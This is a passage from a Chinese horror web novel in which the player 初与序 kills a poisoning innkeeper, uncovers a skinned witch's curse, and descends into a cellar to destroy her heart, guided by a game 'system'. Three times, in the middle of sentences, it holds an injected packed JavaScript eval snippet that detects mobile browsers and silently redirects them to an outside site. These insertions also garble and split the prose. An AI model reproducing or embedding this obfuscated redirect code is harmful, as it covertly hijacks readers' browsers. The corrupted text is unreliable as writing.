晨风吹散一缕雾气,远处传来村民的谈笑声。 初与序飞快从发间抽出一根细簪,长发如瀑垂落,在阳光下泛着金色的微光。 细簪的尖端轻轻挑住那根几乎透明的丝线,她的动作极缓,连呼吸都放得轻不可闻。铜铃在风中微微晃动,却始终没有发出声响。 现在杀了老板娘,还是只拿解药? 她的目光透过窗缝,瞥见厨房内的景象:老板娘背对着窗口,正从灶台上的陶罐里舀出一勺浓稠的青色药汁,倒入瓷碗中。那液体在晨光下泛着诡异的荧光,和初与序肩上毒素蔓延的颜色如出一辙。 解药就在眼前,但老板娘腰间别着的那把剥皮刀,刀柄上缠着的红线正是昨夜绑灯笼用的。 如果现在动手,老板娘一死,村民失去指挥,后续行动会较为安全。但一旦失败,打斗声会引来其余村民,别提拿解药了,自己必死无疑。 窗内,老板娘突然哼起古怪的小调,枯瘦的手指从袖中抖出一些粉末撒进药碗。液体立刻沸腾起来,冒出带着腥味的紫烟。 她在配新毒。初与序眼神一冷,簪尖稳稳挑开丝线。 现在不是硬碰硬的时候,毒素已经蔓延至锁骨,肢体反应速度下降。更何况,老板娘敢独自在厨房配药,必然有所依仗,自己赌不起。 她翻进厨房,落脚时足尖点地,没有发出一丝声响。老板娘仍背对着她搅拌药汁,灶台旁的木架上,一排青瓷小瓶在晨光中泛着幽光。 最近的那个瓶身上,刻着一道朱砂符咒,也是众多瓶子中唯一一个表面没有灰尘的。 初与序伸手的瞬间,老板娘搅拌的动作突然顿住。 “今天的晨雾,”苍老的声音带着笑意,“倒是很适合捉老鼠呢。” 药勺“当啷”砸进碗里,初与序的手指在距离瓷瓶一寸处骤然停住。 老板娘缓缓转身,那张布满皱纹的脸在灶火映照下忽明忽暗。她枯瘦的手指间不知何时多了一把细如牛毛的银针,针尖泛着熟悉的青黑色光泽。 “我算着时辰,你也该找来了。”老板娘咧开嘴,“这解药啊,老生可是特意为你温着的。” 初与序的视线飞快扫过四周:灶台左侧的刀具架,右侧的柴堆,头顶悬挂的熏肉铁钩。她动了动脚步,想往后退一步,肩伤却猛地传来一阵麻痹感,左腿开始隐隐发麻,动不了。 “别费心思了。”老板娘伸手取过装解药的瓷瓶,“这‘青丝缠’的毒,走七步就发作。你现在...是不是觉得左脚开始发麻了?” 仿佛为了印证她的话,一阵刺痛果然从初与序左脚蹿上来,她不动声色地调整重心。 老板娘尖笑起来:“小丫头,你以为烧了灯笼就能翻天?”她猛地掀开外衣,露出腰间别着的密密麻麻的暗袋,“这里每一包毒,都够你死上十次!” 初与序的目光突然定在老板娘身后的药柜上,那是一个熟悉的半开着的漆盒,里面露出半截黄纸符。是昨夜包药粉的符纸,现在却缠在一把钥匙上。 她盯着那把钥匙看了几秒,又不明显地移开目光。 下一秒,初与序突然踢翻脚边的泔水桶,液体泼洒而出,老板娘惊叫着后退。她飞快抄起身边叫不出名的厨具,砸向吊着的熏肉架。铁钩坠落的瞬间,她拽动悬挂的麻绳,整排腊肉轰然砸向老板娘。 “你找死!”老板娘被一整排腊肉砸得踉跄,手中瓷瓶滑落。 初与序趁机箭步上前,却在抓出解药的刹那看见老板娘嘴角带笑,原本放在药柜上的钥匙不知何时落入她手上,正从她另一只手滑向衣服暗袋。 初与序临时变招,右手接住瓷瓶的同时,左手抓起灶灰猛地扬向老板娘面门。在老板娘捂眼惨叫的间隙,她的手指精准抓住对方衣袋,将钥匙扯了出来。 “还给我!”老板娘疯魔般扑来,初与序后退,药架被撞翻,上百个药罐倾泻而下,在青砖地上炸开七彩毒雾。初与序屏息冲向窗台,听见老板娘在毒雾中发出非人的嚎叫。 跃出窗前的最后一眼,她看见老板娘在满地毒液中腐烂的双手,正死死攥着那装钥匙的暗袋。但铜钥匙已经牢牢握在初与序掌心,与解药瓶碰撞发出细微轻响。 初与序将两件战利品塞进内衬暗袋,毒素带来的眩晕感却突然袭来,她咬开瓶塞将解药一饮而尽,苦味冲上鼻腔的瞬间,听到后厨房传来瓷器碎裂声,老板娘一脚踢开了后门,冲自己奔来。 怎么还追出来啊?! 解药的苦味还在喉咙里灼烧,初与序的视线已开始模糊,药效发作时的眩晕感比预想中来得很快。她立刻冲进客栈后廊,身后的木门再次被“砰”地踹开,老板娘扭曲的尖叫刺破空气: “你跑不掉的!” 初与序没有回头,但听得见,老板娘的脚步声不对劲。不再是人类的蹒跚,而是某种多足动物般的脆响。她的余光瞥见老板娘四肢反折着爬过门框,脖颈180度扭转,嘴角撕裂到耳根,露出满口细密的尖牙。她的指甲暴长成青黑色的钩爪,叩进木板时带起一串木屑。 “钥匙还来!”老板娘的尖叫混着银针破空声,初与序侧首,三根青黑毒针钉入她耳畔的木柱,针尾嗡嗡震颤。 她立刻拐进客栈后院的柴堆旁,却发现退路背几个闻声赶来的村民堵住。他们提着剥皮刀,脸上挂着那种麻木又兴奋的笑容。 前有围堵,后有追兵。初与序没有停下,猛地踹翻柴堆! 木柴轰然倒塌,砸向逼近的村民,她趁机矮身钻入客栈后门。门内是狭窄的储物间,她刚闪身进去,老板娘已经追至身后,干枯的手臂如鹰爪般抓向她后颈,咯咯笑起来: “抓到你了!” 初与序侧头避开,反手一肘撞向老板娘咽喉! 老板娘却狞笑着硬接这一击,同时另一只手猛地掐住初与序的脖子,将她狠狠撞向墙壁! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969508|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑撞击墙面的剧痛让初与序视线模糊,但是身体本能地旋身,抬起一脚踢向老板娘胸口!老板娘闷哼一声后退,初与序趁机拉开距离。 她的目光扫过房间,最终定格在不远处,那里斜插着一把剔骨尖刀,新磨的刃口泛着雪色光芒。 老板娘枯爪般的五指已经抓到面门!初与序抽出刀,刀刃划出银色弧光。“嗤啦”一声,老板娘三根指甲齐根断裂,黑血喷溅。她嚎叫出声,却不退反进,左手的银针已经深深扎进初与序持刀的手腕! 剧痛让五指失控,剔骨刀当啷落地。老板娘趁机将初与序撞向碗柜,陶器爆裂声中,一片锋利的青瓷碎片弹到初与序掌心。 当老板娘再次扑来时,初与序假装踉跄后退,却在对方近身的瞬间暴起!瓷片快速划过! 老板娘僵住原地,浑浊的眼球缓缓下移。那片青瓷已经完全没入她咽喉,只留下一道细窄伤口,片刻后才有血线渗出。 “你.......”她张嘴像咒骂,喷出的却是黑血。 初与序平静地侧身,看着老板娘轰然倒地,手指还在抽搐着抓挠地面。她没有急着走,像是在等待什么。 当老板娘抽搐的指尖终于不再动弹,黑血在地板上蜿蜒成溪。 “咔嗒”。 一声极轻的声音从储藏室深处传来,初与序不急不慢回过头。 原本堆满腌菜坛的墙角,此刻竟缓缓裂开一道缝隙。腐朽的木架无声平移,露出其后黑洞洞的通道。阴冷的风从缝隙中渗出,带着陈年的血腥味和某种古怪的甜味。 她走近,看见暗门边缘用朱砂画着熟悉的符咒,和解药瓶上的一模一样。 老板娘的血正巧流到门缝处,竟被那木头如活物般吸收进去。 原来是要用血开锁。 初与序站在门前,垂眸看了眼地上老板娘的尸体,又瞥向那把掉落的剔骨刀,没有拾起。 【玩家初与序,检测到您多次放弃拾取武器(剥皮刀、剔骨刀等),请问是否设定错误?持有武器可显著提升生存率。】 初与序淡淡道:“没有错误。” 系统沉默几秒,声音带着一丝人性化的困惑:【逻辑异常。玩家初与序,您正处于高危副本,武器是必要的生存手段。请确认您的选择是否合理。】 初与序甩了甩手腕上的血:“我不会用大刀,不称手的武器只会拖慢反应速度。”她走进黑漆漆的通道,继续与系统搭话,“所有玩家都没有自己的武器吗?” 【新人玩家在刚进入新手副本时没有,获得武器必须满足前三个副本获得积分共超过125分。】 “还挺难的。”初与序轻声道,脚步没停。 【大多数玩家选择好好活下去,不会拼命在前期副本中赚取更多积分。】 【系统提醒:玩家初与序,您体内的毒素净化完成,生命体征恢复正常。】 【祝您通关愉快。】 9. 灯影诡村 暗门后的空间比想象中的更幽邃。 初与序踏入的瞬间,鞋底碾碎了地面一层薄薄的灰白色粉末,她低头一看,不出意外应该是骨灰。密室内没有烛火,却有一种诡异的幽绿色微光从墙壁缝隙中渗出。 正中央的黑檀祭坛上,供奉着一尊残缺的巫女木像。 木像的脸被整张剥去,露出内部被虫蛀啃食的空木胎,上面用血画满了密密麻麻的咒文。那些符文像是活的,微微蠕动,时而收缩,时而舒展,如同某种沉睡的生物在缓慢吞吐气息。 木像的双手向前伸展,做出一个“捧灯”的姿势,但掌心空空如也,只余一层干涸的蜡油,像是曾经有什么东西在这里燃烧了很久,最终被取走了。 初与序的视线扫向四周,勉强透过幽光看清室内的景象: 墙角堆着三个陶翁,摆成三角阵,每一个都用整张人皮封口,皮上的五官仍清晰可辨。一张老人,一张妇人,还有一张像是孩童的。 初与序抬腿用鞋尖挑开最近的一个。封口的人皮发出一声轻响,像是某种活物被戳破。翁内蜷缩着一具婴孩骸骨,骨头呈现出不正常的青黑色,颅骨上钉着七根银针,针尾系着红线,一直延伸到翁底。 “......养鬼瓮?”初与序声音里带着不易察觉的惊讶。 养鬼瓮,是民间邪术中的一种阴毒法器,专门用于囚禁、炼化婴灵或枉死之人的魂魄。瓮身需用至阴之土烧制,如坟头土或乱葬岗黏土,封口人皮必须取自横死者,确保怨气不散。 如果猜得不错,老人瓮象征“天时”,剥皮时需让其活到自然寿终,再趁尸体未冷时取皮封瓮,确保魂魄困在生死之间;妇人瓮象征“人和”,必须选难产而死的孕妇,一尸两命的怨气能滋养巫女魂魄;而婴孩瓮象征“地利”,需未满月的死胎,颅骨钉七根“锁魂针”,对应北斗七星的镇压之力。 红线连接银针与瓮底符灰,形成魂魄转化的通道。村民每剥一张人皮,部分怨气就会通过客栈灯笼传入瓮中,转化为巫女续命的力量。 婴孩骸骨泛青黑是因长期受怨气浸泡,相当于“蓄电池”。而婴孩瓮也是怨气最浅的,老人和妇人的瓮若开,会直接触发怨灵暴走。初与序没再碰另外两个,转而走向祭坛下方。 那里藏着一只乌木匣子,匣面雕刻着百鬼夜行的图案,每一只鬼怪的眼睛都用红宝石镶嵌,在幽光下泛着血一般的色泽。 匣子没有缩,但初与序的指尖刚碰到匣盖,就感到一阵刺骨的寒意顺着指尖窜上来,像是被无数根冰针刺入骨髓。 看来有禁制,初与序思考片刻,咬破指尖,将血滴在匣子正中的鬼王额头上。 “咔哒。” 匣盖缓缓摊开,七把祭祀银刀整齐排列在猩红的绸缎上,每一把都细长如柳叶,刃口刻满符文。刀身血亮,却莫名给人一种“饥饿”的感觉,仿佛它们已经太久没有饮血,正渴望着被重新握起。 初与序掂起其中一把。 刀柄立刻渗出黏稠的黑液,顺着她的手腕爬向肘部,所过之处皮肤被冻得冰凉。她将银刀放在一旁,继续翻找。 匣子最底层压着一本焦黄的册子,封皮用褪色的血写着“灯祭录”三个字,边缘已经腐烂,像是被什么液体浸泡过。 翻开内页,癫狂的字迹几乎划破纸背,应该是巫女写的: 「灯油不尽,人皮不灭」 「余乃巫女青萝,生于大荒之年。村中大旱,族长率众祈雨,以童男童女祭天。吾妹被选为祭品,余泣血哀求,族长允余代妹赴死。」 「祭坛之上,余割腕放血,咒骂苍天无眼。血溅神像,忽闻雷声大作,暴雨倾盆。村民谓余通神,奉为巫女。」 「然旱灾虽解,疫病又起。村民渐疑余招祸,族长夜半率众缚余于祠堂。“既为巫女,当为村舍尽瘁”,族长言毕,以剥皮刀划开余背脊.......」 「余痛极昏死,醒时已成人皮灯笼。」 「奇哉!余竟未死!魂灵附于灯上,见村民持余皮所制之灯求雨,果然甘霖再降。族长伏地叩首:“巫女不死,村子不灭”。」 「初时每年一盏新灯,后每十年需以“恨火”重燃——取怨恨最深者之皮为灯芯。余看着他们剥尽亲子、挚友、爱侣.......每张人皮挂上灯架,余便多一分力量。」 「尔等将世代为皮匠,以人皮续命,却永世不得解脱!」 「百年大祭将至,需以“通灵者”完整人皮制灯。此灯若成,余可重塑肉身!」 「族长留余心脏镇于地窖,谓“心在则灯不灭”。蠢哉!岂知此乃余故意为之!」 「吾心早与灯笼同化,唯银器染血可破。然寻常银器伤不得余——需以祭祀银刀,浸“通灵者”心头血,于子时三刻刺入地窖铜镜倒影......」 第七页被撕去大半,仅剩残句: 「......当以铜镜照见......」 「......灯笼灰可......」 「......赵家子窥得秘密......」 封底是指甲刻痕: 「后来者若见此书,切记——剥皮者终被剥皮,制灯者永困灯中。」 初与序的指腹抚过残破的纸页,突然顿住。她发现那些看似癫狂的字迹里,夹杂着细小的水痕。不是血,而是泪。她飞快把所有线索串联起来: 巫女青萝,被迫成为活祭却意外获得诡异力量。村民们将她剥皮制灯,却不知她的心脏仍在地窖跳动,与灯笼形成共生。 她在极端痛苦中下咒:「尔等将世代为皮匠,以人皮续命,却永世不得解脱」。她让村民也体验被剥皮的痛苦,但同时也把自己和村庄永远绑在一起。她既无法真正死去,也无法解脱,只能看着村民一代代重复剥皮的恶行。 每十年要用“恨火”重燃灯笼,就是取怨恨最深者的皮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969509|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百年大祭需要通灵者的完整人皮,就是冲着自己来的。村民以为用“通灵者”的皮能彻底掌控巫女。但实际上,她想要的只是终结这个轮回,让所有人(包括她自己)得到解脱。 【恭喜玩家初与序触发隐藏剧情——「巫女青萝的百年诅咒」。】 【剧情解锁条件已满足:】 【1.取得《灯祭录》真本(完成)】 【2.发现祭祀银刀(完成)】 【3.知晓巫女真名(完成)】 【隐藏奖励发放中......】 密室的地面突然裂开一道细缝,一只干枯的手猛地伸出,抓住了初与序的脚踝!那手苍白如纸,指甲漆黑尖锐,皮肤上刻满与银刀相同的符文。 “接受巫女的记忆吧.......” 下一秒,无数画面如尖刀般刺入初与序的脑海。 【记忆碎片1】:暴雨倾盆,十五岁的青萝被铁链锁在祭坛上。族长手持剥皮刀,而台下村民齐声诵念,声音震耳欲聋:“剥皮为灯,求雨降霖——” 【记忆碎片2】:青萝的“皮”被挂在灯笼骨架上,她的“魂”却未散。她看着村民提着用自己全身皮肤做的灯笼,看着甘霖落下时他们狂喜的嘴脸。 【记忆碎片3】:每一张新剥下的人皮挂上灯架,她的力量就强一分。她故意让族长留下她的心脏,只有这样......她才能等到今天。 【记忆碎片4】:地窖最深处的铜镜里,映出的不是巫女的心脏,而是被囚禁百年的、青萝真正的“魂”。 【滋.......记忆传输完毕。】 手骤然缩回地底,仿佛从未出现过。初与序的瞳孔微微收缩。 【当前任务更新:于第三日午夜前,摧毁巫女的心脏让所有被束缚的灵魂(包括巫女)得到安息。】 【警告:若任务失败,玩家将成为新的人皮灯笼主要材料。】 初与序垂眸,指尖轻抚过祭祀银刀的刃口。银刀开刃要用血,若一旦用自己的血浸染,这把刀恐怕会反噬。 她太清楚这种邪门东西的规则,但她知道,越是强大的祭器,越会蚕食使用者的命数。巫女留下的银刀,绝不可能只是简简单单的“沾血即用”。 需要活人血,但必须是“他人”的血。 抓一个落单的村民? 不,太冒险了。村民虽然被削弱了,但数量仍占优势。一旦惊动其他人,又是一场大逃杀,她的身体撑不住。 初与序想到了赵四,祠堂里赵四的尸身应该还在那里,血液或许尚未流尽。但折返回去意味着要穿过大半个村子,途中变数太多。倘若赵四的尸身也被系统刷新,那就白跑一趟,浪费时间。 不管了,都试一试吧。 初与序向来不喜欢把赌注押在单一选择上,她收好银刀,站起身走出密室。 正午的阳光最盛,村民的警惕性最低,是时候行动了。 10. 灯影诡村 初与序踏出密室时,正午的阳光笼罩整个村子,但感受不到一丝温暖。 她将祭祀银刀别在腰间,刀鞘用随手拿的布缠紧,避免银光外泄。左肩的毒素已经被解药压制,但皮肤下仍泛着蛛网状的青紫。 客栈外面围满了仍在寻找自己的村民,但没一人进入客栈,显然是认为有老板娘在这里,初与序不敢进来。 她左右看了看,抬腿故意踢翻院角的陶罐,碎裂声在寂静的中午格外刺耳。远处立刻传来杂乱的脚步声,还有铁器拖地的刮擦声。 趁着机会,初与序闪身躲进柴房阴影,看着三个村民冲进院子。领头的是个独眼壮汉,手里提着带倒钩的草叉;后面跟着个跛脚老妇,指甲足足有三寸长;最后是个年轻男人,腰间别着剥皮刀,眼神浑浊如死鱼。 “那女的肯定在附近!”独眼男人吐了口痰,咬牙恶狠狠道,“老子要亲手剥了她的皮!” 初与序无声冷笑,捡起一小块石子,精准打在年轻男人的后颈上。 “谁?!” 三人猛地回头,她故意让衣角在柴房门口一晃而过,随后按照早已计划好的路线拔腿就跑。 “她在那儿!” 独眼壮汉率先冲来,草叉捅穿柴房木门的时候,初与序已经从后窗翻出,在院中疾奔。年轻人果然上钩,独自追着她拐进一条死胡同。 初与序假装被杂物绊倒,扑倒在地。年轻男人狞笑着逼近:“跑啊?怎么不跑了?” 刀光一闪! 初与序突然翻身,银刀出鞘,刀背狠狠敲在男人手腕麻筋上。剥皮刀当啷落地,她趁机一个扫腿将男人放倒,膝盖压住他咽喉。 “别动。” 她冷声道,银刀横在男人颈动脉旁,“我不杀你,借点血用用。” 男人瞪大眼睛,喉结滚动:“你、你要干什么——” 刀尖轻轻一划,血珠顺着银刀血槽流入之前装解药的瓷瓶里,取够三滴,她收起瓷瓶。 “多谢。”初与序慢悠悠道谢,然后猛地一记手刀劈在他颈侧,男人眼白一翻,昏死过去。 远处传来独眼的叫骂声,初与序将染血的银刀收回鞘中,翻身跃上墙头,看见更多村民正朝这边聚集。 下一个地点是地窖,地窖入口藏在客栈后院的枯井旁,被一块生满青苔的巨石半掩着,后面有一条向下的石阶。初与序躲在端墙后,冷眼观察着那里的动静。 两个村民像石像般立在入口两侧,他们不说话,只是木然地站着,眼珠偶尔转动,扫视着四周。 更麻烦的是,地窖入口的石板上刻着符咒,和瓷瓶上的一模一样。如果硬闯,大概率会触发警报,需要想办法将所有村民,包括守在地窖入口的两位引走,越远越好。 还是老办法——放火。 初与序来到村西废弃粮仓的阴影里,指尖捻着一截焦黑的碎布,这是刚刚路过祠堂时从经幡上撕下来的,浸透了人皮灯笼里渗出来的尸油,轻轻一捏就能挤出黏稠的黑浆。 她将碎布缠在一根断裂的秤杆上,做成简易趁手的火把,又取出腰间火折。拔出铜帽,对着筒口轻轻一吹。 幽蓝的火苗骤然亮起,映得初与序瞳孔如鬼火般闪烁。远处地窖口的守卫正在打盹,锈斧斜靠在墙边,刃口还沾着鲜血。 她将火苗凑近碎布,浸油的布条“嗤”地燃起青绿色的火焰,诡异的是,这火几乎没有烟,反而散发出一股浓郁的檀腥味。 原来人皮灯笼里的陈年尸油燃烧起来是这种气味。 她反手把火把插进粮仓缝隙,火焰顺着麦秸悄然蔓。起初只是几缕金红的细线,很快便织成一张火网。粮仓顶棚的茅草开始卷曲发黑,但依旧没有浓烟出现。 直到第一根房梁“咔嚓”断裂时,才有村民察觉到不对。 “什么声音在——” 话音未落,整座粮仓如火山般轰然爆燃!青绿色火焰冲天而起,将周围照得惨亮。不是寻常火焰的橙红,而是掺着尸油的诡谲清白,火舌舔舐过的地面竟结出一层冰晶似的白霜。 “怎么又着火了!!” “救、救火啊!” 村民们慌不择路地撞翻水桶,可井水泼在火上竟发出“滋滋”怪响,火势反而更猛。初与序冷眼看着他们没头苍蝇般乱撞,自己则贴着墙根阴影,无声滑向地窖入口。 【玩家初与序,你已经在同一个副本放四次火了,鉴于您是新手玩家,这次不判定违规】 【请问您是否喜欢火?】 初与序垂下眼,沉默几秒,似乎是想起了什么。 “不喜欢。”她简短回答,摸出腰间钥匙。 地窖铁门正在她面前诡异地蠕动,整扇门是用人皮混合铁浆浇铸而成,锁孔被做成尖叫的人嘴形状。她刚把钥匙插入“人嘴”,锁孔突然收缩,尖锐的牙齿咬出钥匙不放。门缝渗出黑血,浮现出与《灯笼祭》相同的符文。 【诅咒钥匙孔:需活人鲜血激活,错误开锁将触发尸皮封印。】 初与序果断地再次咬破指尖,将血抹在钥匙纹路上。铜钥匙顿时发烫,人嘴锁孔发出婴儿般的啼哭,铁门缓缓开启。 鞋底刚刚踏上地窖入口的石阶第一层,就听见铁栅栏上的锁链无风自动,发出声响。 她意识到不对,猛地后退,同一瞬间,三只苍白的手臂从地窖黑暗中暴伸而出,枯瘦的纸抓擦着她咽喉划过! “还......我......皮来......” 沙哑的泣音从地底传来,接着,一个“人”缓缓爬出。 那根本不能算人了,他的皮被完整剥去,裸露从肌肉组织已经干瘪发黑,像一具风干的标本。没有眼皮的眼球凸出眼眶,直勾勾盯着初与序,牙齿在裸露的牙床上“咔咔”打颤。 被剥皮的亡魂。 初与序迅速扫视四周,只有地窖口散落的几块碎砖和腰间那把尚未开刃的银刀。 亡魂扑了上来,她侧身闪避,抓起碎砖狠狠砸向亡魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969510|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的膝盖。“咔嚓”一声脆响,亡魂跪倒在地,但立刻扭曲着爬起,断裂的骨茬刺穿腐肉,但它却像感受不到痛一样,再次扑来! 物理攻击无效。初与序的背抵上墙壁,亡魂的腐臭近在咫尺。突然,她注意到亡魂胸口钉着一截生锈的铜钉,那是制作灯笼时用来固定人皮的铆钉,钉尾还缠着一缕褪色的红线。 她翻滚避开亡魂的撕咬,银刀出鞘,刀尖精准挑向铜钉。 “铮!” 铜钉被银刀击中的瞬间,亡魂发出凄厉的嚎叫,身体如陶器般龟裂出无数细纹。初与序趁机一脚踹在他胸口,亡魂轰然碎裂,化作一地黑灰。 但地窖深处,更多的锁链锁“哗啦”响起。 没时间了,她擦去银刀上的黑灰,纵身跃入黑暗之中。身后,亡魂的呜咽声如潮水般追来,而前方,铜镜的寒光,正在地窖最底层幽幽闪烁。 地窖第一层堆满陶翁,每个封口都封着干瘪的人皮,皮上用金漆画着扭曲的符咒。翁群中央立着一具铁架,架上悬挂七盏未点燃的小灯笼,灯骨是用孩童指骨拼接而成,半透明的灯罩上还能看到细软的胎毛。 初与序绕过铁架,发现墙角堆着十几具骷髅。每具骸骨的胸骨都被剥开,肋骨呈花瓣状外翻,形成诡异的“灯笼架”造型。而头骨上钻着小孔,孔中穿出锈迹斑斑的铜丝,另一段连着早以腐烂的灯芯。 通往第二层的木梯上布满抓痕,最深的一道里嵌着半片指甲。初与序俯身查看时,那指甲突然“咔哒”颤动,像是在警告她。 她面无表情缩回手走向第二层。 第二层比第一层更阴冷,整层地窖呈八角形,墙壁上钉满人皮制作的“壁纸”,每张皮都保持着死前的表情。有的张大嘴似乎在尖叫,有的则诡异地微笑。地面用血画着巨大的阵法,已经干涸发黑,但她踩上去时,那些纹路突然泛起暗红色的微光。 阵法中央摆着青铜祭台,台上放着水晶匣子。匣中悬浮着一颗干缩的心脏,表面布满针眼大小的孔洞,每个孔里都钻出细如发丝的红线,连接着四面八方的人皮。 初与序立刻转移视线,沉默一会,敲了敲面板:“系统,能不能把这种玩意打个马赛克,我有密集恐惧症。” 【......收到。】 下一秒,视线里心脏孔洞的部位被糊上一层马赛克,初与序松了口气:“多谢。” 但最令人吃惊的是第三次入口,那不是普通的门,而是一张巨大的人脸浮雕,足有两米高。浮雕的眼珠是活动的玻璃球,当初与序靠近时,眼珠突然骨碌碌转向她,嘴唇部分“啪”地裂开一道缝,露出后面向下的螺旋楼梯。 一股带着甜腥味的寒风从缝隙中涌出,隐约能听见楼下传来“咚咚......”的心跳声,每一声都让地窖里的红线轻微震颤。 巫女的心脏地窖就在下面。 墙面上的人皮突然同时抽搐了一下,像被无形的手扯动。初与序握紧银刀刀柄,抬脚往那张“嘴”迈去。 11. 灯影诡村 初与序刚踏入“口中”,那些尖锐的牙齿突然合拢,咬向她小腿。她猛地抽腿,牙尖割破布料,隐约有血珠冒出。 她注视着那张巨口,拔出银刀,刀尖对准“舌头”。那是一条向下延伸的、布满瘤状凸起的肉色阶梯,表面湿滑反光,某种大型生物的食道。 “你确定要和我对着来?”初与序冷声问。 在初与序和银刀的逼迫下,整张人脸剧烈抽搐,牙齿“咔咔咔”地上下碰撞,最终不情不愿地完全张开,露出深处的螺旋楼梯。 初与序没有犹豫,踩上那条“活梯”。阶梯表面是软的,带着体温般的温热,每走一步都微微下陷,再缓缓回弹。两侧的“墙壁”布满蠕动的肉褶,每隔一段就出现一颗嵌在壁上的琉璃眼珠,瞳孔随着她的移动而转动。 某种带着甜腥的腐味越来越浓,像是陈年的血混合了腐烂的蜜。楼梯尽头隐约可见暗绿色的幽光,随着“咚......咚......”的心跳声明灭闪烁。 忽然,初与序踩到了一块凸起的硬物,她低头看去,阶梯表面嵌着半块头盖骨,骨头上刻着两个字: “回头。” 写字的人很大概率是赵四,他也来过这里。 初与序蹲下身,指尖抚过头骨边缘的裂痕,那是被钝器击打的痕迹。骨缝里还卡着几根干枯的红色线头,和地窖二层连接心脏的红线一模一样。 他发现了什么? 正思索着,脚下的“楼梯”突然痉挛般收缩!初与序立即向前扑去,在肉梯完全闭合前滚进下方的空间。身后传来“啪”的闷响,入口彻底消失了。她抬起头,终于看见了地窖三层的全貌。 这是一个半球形的石窟,顶部垂落无数红线,每根都连接着上方的心脏。地面是整块暗红色的水晶,内部封印着密密麻麻的人形阴影,全都保持着伸手向上的姿势。 而正中央立着一面等人高的青铜镜。 镜框是两条聚餐的蛇,蛇眼镶嵌着血玉。镜面却异常浑浊,像蒙着一层雾气。 而镜子前的祭坛上放着个打开的漆盒,盒中铺着褪色的红绸,上面摆着一把锈迹斑斑的钥匙。而钥匙的形状,和初与序在客栈取得的铜钥匙一模一样。 她刚要上前,镜中的倒影突然自己动了,她缓缓抬起手,指向初与序腰间的银刀,嘴角勾起一个不属于她的微笑。与此同时,头顶的红线剧烈震颤,那颗悬浮的心脏“噗通噗通”越跳越快,暗绿色的幽光随着节奏忽明忽暗。 初与序拔出银刀,刀身雪亮如霜。她倾倒瓷瓶,瓶内三滴血落在刀刃口。 “滋啦!” 血珠接触银刃的瞬间,竟如滚油般沸腾起来!刀身铭文逐一亮起猩红光芒,那些古老符咒像血管般鼓胀扭动。初与序突然听见万千亡魂的尖啸,握刀的手掌顿时皮开肉绽,鲜血顺着刀柄纹路被疯狂吞噬。 镜子里,巫女的心脏突然停滞—— “噗通!” 一声前所未有的巨响,所有红线应声崩断!悬挂的心脏干瘪塌陷,而铜镜表面裂开蛛网般的纹路。 “铮!!!” 银刀发出龙吟般的嗡鸣,终于彻底苏醒。刃口流转着妖异的血光,那些符咒不再只是雕刻,而是像活物般在刀身上游走。 初与序看向铜镜,自己的倒影心口出现了七处刀伤,正与镜中巫女的伤口完全对应。 她想起那句话的含义:「然寻常银器伤不得余——需以祭祀银刀,浸“通灵者”心头血,于子时三刻刺入地窖铜镜倒影......」 当祭祀银刀饮够活人血和持刀者血,就能斩断虚实界限,巫女的心脏藏在镜中,唯有自伤者才能触及。 不出意外,赵四曾经也尝试过,但未完成自伤。 镜面开始渗出黑血,那些裂纹中伸出无数苍白手臂。初与序握紧完成开刃的银刀,刀尖对准自己镜影的心口,刺入镜面的刹那,一声凄厉的金属颤音响彻地窖,铜镜表面瞬间爬满蛛网般的血丝。 初与序的刀锋抵着镜中自己的心口,却仿佛刺进了某种温热的血肉,阻力黏腻而柔软。 突然,镜中的“她”睁开了眼,但那不是她的眼睛。 瞳孔猩红,眼白漆黑,嘴角缓缓裂开一个不属于人类的弧度:“你终于......来了。” 巫女的声音从镜中传来,却同时响彻整个地窖、整个村庄。 下一秒,地动山摇。 地窖顶部悬挂的干瘪心脏突然剧烈鼓胀,像被注入滚烫的血液,表面那些针孔般的窟窿里喷射出无数红线,如活蛇般狂舞。地面暗红的水晶轰然炸裂,封印其中的人形阴影尖啸着爬出,每一道黑影都裹挟着刺骨的怨气。 “咚!!!” 一声比雷鸣更沉重的心跳从地底传来,全村的人皮灯笼同时爆燃! 客栈门口那盏最大的灯笼疯狂摇晃,李二和王三的脸皮在火中扭曲哀嚎,灯笼骨架的指骨“咔咔”扭动,竟自动折断束缚的铜丝,如活物般爬下灯架。 井水沸腾,一位村民腐烂的尸体被无数苍白的手拉入水底;祠堂中,那些未烧尽的经幡无风自动,裹着焦黑的骨灰形成人形,在地上汇聚成扭曲的鬼影。 整个村庄的怨灵,在这一刻彻底暴动。 